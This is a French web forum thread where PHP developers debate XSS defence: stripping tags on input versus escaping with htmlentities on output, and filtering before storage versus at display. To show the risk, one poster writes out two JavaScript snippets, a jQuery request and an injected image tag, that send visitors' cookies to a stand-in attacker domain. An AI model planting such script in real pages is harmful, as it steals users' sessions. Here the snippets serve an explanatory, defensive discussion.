Condition

[Cartman34]

Personnellement, j'aime bien me protéger contres les failles XSS avec strip_tags() à l'entrée.

[Sephi-Chan]

Tu altères les données saisies par l'utilisateur ?


Sephi-Chan

[My Hotel]

Sinon, un autre détail. A la lecture du code, tu calcules le prix en faisant le nombre * 5. 5 est le prix d'une montgolfière.
Je te conseille de stocker tout ça ailleurs que dans ton code : en BDD (l'idéal pour moi), ou dans un array PHP, l'essentiel étant de centraliser tes valeurs, et d'éviter d'avoir plusieurs 5 en dur dans le code.
Ca simplifie beaucoup les modifications, et quand tu auras un peu plus d'expérience et de recul, tu te rendras sûrement compte comme c'est important

Et pour faire encore mieux, factorises ton code (fonction) pour éviter de faire 1 page par objet à acheter, en copiant collant le code. En faisant ça, tu verras que stocker les valeurs ailleurs est indispensable.

Bye

[php_addict]

Rien à voir.
htmlentities() doit toujours être utilisé pour l'affichage de texte (à moins d'être sûr de sa source

SI... je parlais bien entendu de htmlentities($_varaible, ENT_QUOTES);

ca converti les entités html (donc pour l'affichage) et converti les guillement simple et double...ca fait d'une pierre 2 coups...

ENT_COMPAT Convertit les guillemets doubles, et ignore les guillemets simples.
ENT_QUOTES Convertit les guillemets doubles et les guillemets simples.
ENT_NOQUOTES Ignore les guillemets doubles et les guillemets simples.

[Sephi-Chan]

Si il y a une fuite d'eau chez toi, vas-tu faire raser ta maison ? Non. Pourtant ce serait une solution…

Ça peut marcher mais ce n'est pas son but. Il ne faut pas l'utiliser comme ça.

HTML entities est — comme son nom l'indique — fait pour convertir certains symboles en leur entité HTML équivalente. Ça vise à empêcher l'injection de code HTML (et Javascript, du coup) arbitraire. C'est vraiment à utiliser en sortie, à l'affichage, pour éviter qu'un petit malin fasse des trucs comme :

<script type="text/javascript">
jQuery.ajax({
type: 'GET',
url: 'http://je-recupere-les-sessions-de-tes-utilisateurs.com/receive_cookies.php',
data: getCookies()
});
</ script>

Il faut utiliser les choses pour ce pour quoi elles sont faîtes.

Ici, le but du cast en entier est juste de s'assurer qu'on a bien un entier là où on en attend un. Et effectivement, le sprintf() se charge d'effectuer le cast. Pour les chaînes, si on en est à utiliser les fonction mysql_*, alors on utilisera mysql_real_escape_string().


Sephi-Chan

[Allwise]

Pas faux, sauf que ton exemple est erroné, on peut pas faire des requêtes Ajax directement sur un autre domaine que celui qui initie la requête.
Ensuite, on peut effectivement filtrer les données a posteriori, mais rien n'empêche de le faire a priori et d'enregistrer des données saines en base. L'idéal étant d'interdire et de supprimer les balises indésirables avant leur insertion plutôt que de les enregistrer pourries et de les traiter après.

[Sephi-Chan]

Tu peux envoyer des requête Ajax à travers d'autres domaines par la méthode GET (effectivement, j'avais laissé POST dans mon exemple). Et pour le faire sans te limiter à GET, tu peux utiliser JSONP, par exemple.

Tu peux le faire avec une image :

<script type="text/javascript">

var url = 'http://je-recupere-les-sessions-de-tes-utilisateurs.com/receive_cookies.php' +

          $(getCookies()).serialize();

var img = $('<img />').attr('src', url);

$('body:first').append(img);

</script>

Et voilà !

Je ne suis pas d'accord sur l'idéal que tu décris. Ce qui est interdit aujourd'hui peut être autorisé demain, ou inversement. Tu seras donc obligé de passer les données à la moulinette en sortie, donc autant ne le faire qu'à ce moment.

Exemple :

• Lundi 12 avril, je saisi une balise paragraphe dans un commentaire de news. C'est autorisé : ma saisie reste intacte.
  
• Mardi 13 avril, l'administrateur interdit la balise paragraphe.
  

Qu'est-ce que tu fais dans un tel cas ? Tu repasses dans chaque commentaire pour virer les paragraphes ? Ou bien tu filtre a posteriori en complément ?


Sephi-Chan

[Cartman34]

Tu altères les données saisies par l'utilisateur ?

Ouais et j'en suis fier ^^.

Plus sérieusement, si l'utilisateur rentre quelque chose de clairement illégal alors c'est normal que ce contenu soit effacé pour la sécurité de tous les utilisateurs et du site même.
Quant à htmlentities, Je ne l'utilise en fait plus.
Il est optionnel dans mes fonctions servant à la protection des données et par défaut il n'y est pas.
Je ne l'utilise que pour sérialiser des données utilisateurs ou pour l'affichage de textes internes, mais vraiment pour des soucis de compatibilité.

Mais bon c'est comme pour tout le reste, ça évolue tout le temps, maintenant j'ai une fonction gérant toutes les formes de protection de chaines et fonctionnant avec un paramètre traité binairement...

[Sephi-Chan]

Je ne suis pas d'accord sur l'idéal que tu décris. Ce qui est interdit aujourd'hui peut être autorisé demain, ou inversement. Tu seras donc obligé de passer les données à la moulinette en sortie, donc autant ne le faire qu'à ce moment.

Exemple :

• Lundi 12 avril, je saisi une balise paragraphe dans un commentaire de news. C'est autorisé : ma saisie reste intacte.
  
• Mardi 13 avril, l'administrateur interdit la balise paragraphe.
  

Qu'est-ce que tu fais dans un tel cas ? Tu repasses dans chaque commentaire pour virer les paragraphes ? Ou bien tu filtre a posteriori en complément ?

[Allwise]

En même temps, je sais pas toi mais en général on change pas tous les jours sa politique de sécurité / affichage des inputs des utilisateurs. J'ai pas plus envie d'autoriser les failles XSS le mardi que le lundi. Quand bien même je changerais d'avis, la fonctionnalité ayant été inexistante auparavant, les utilisateurs normaux n'auraient pas essayé d'utiliser ces balises. Assurer une rétro-activité dans ce sens n'a... aucun sens, à moins que les internautes sachent qu'ils peuvent utiliser des balises qui ne servent à rien mais qui serviront peut-être un jour.
Enfin, je vois mal dans quel cas de figure on pourrait avoir un intérêt à insérer dans la base de données des trucs qui sont pas autorisés aux internautes. T'as peut-être un exemple concret ? Un retour d'expérience qui va dans ce sens ?

Pour ma part je gère beaucoup de données rédigées par des utilisateurs et celles-ci sont susceptibles d'être exportées : widgets, flux RSS, marque blanche... Et dans ce cas, c'est au fournisseur des données d'être garant de leur bonne intégrité. Balancer du code pourri ne fait pas sérieux. Mais même sans parler de ça, je vois toujours pas pourquoi des internautes iraient foutre des balises dans des inputs alors que celles-ci sont à ce moment-là inopérantes, à part à des fins malicieuses : tests, injections html, spam / création de backlinks. Et ces fins là il est clair que jamais je ne voudrais les autoriser.

Dans l'autre sens, si des balises sont actives un jour et doivent être désactivées un autre jour, elles seront déjà en base et un filtre a posteriori s'impose effectivement. Ce qui ne remet pas en cause un filtre a priori.